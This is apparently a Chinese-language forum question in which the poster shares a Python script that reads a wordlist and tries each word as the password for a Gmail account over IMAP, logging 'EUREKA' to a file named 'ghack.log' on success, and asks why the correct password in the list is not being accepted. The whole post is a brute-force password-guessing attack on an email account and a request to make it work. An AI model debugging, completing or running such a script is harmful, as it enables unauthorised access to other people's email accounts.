我在文本文件中有一个单词列表。我试图对该文件中的单词运行imap.login函数。该列表中的一个词是电子邮件ID的密码。该脚本无法将其识别为密码,但是,当我手动传递密码时,它似乎返回“OK”
这是脚本:
import imaplib
conn = imaplib.IMAP4_SSL("imap.gmail.com", 993)
email_id='someone__blahh@gmail.com'
passwrds = open('/Users/rdj/scripts/words', 'r')
for i in passwrds.readlines():
i = i.rstrip()
passwrd = i
if len(passwrd) > 5:
fle = open("/Users/rdj/scripts/ghack.log", "a")
try:
if conn.login(email_id, passwrd):
fle.write("%s ==> EUREKA\n" %(passwrd))
break
except:
fle.write("%s --> NO LUCK\n" %(passwrd))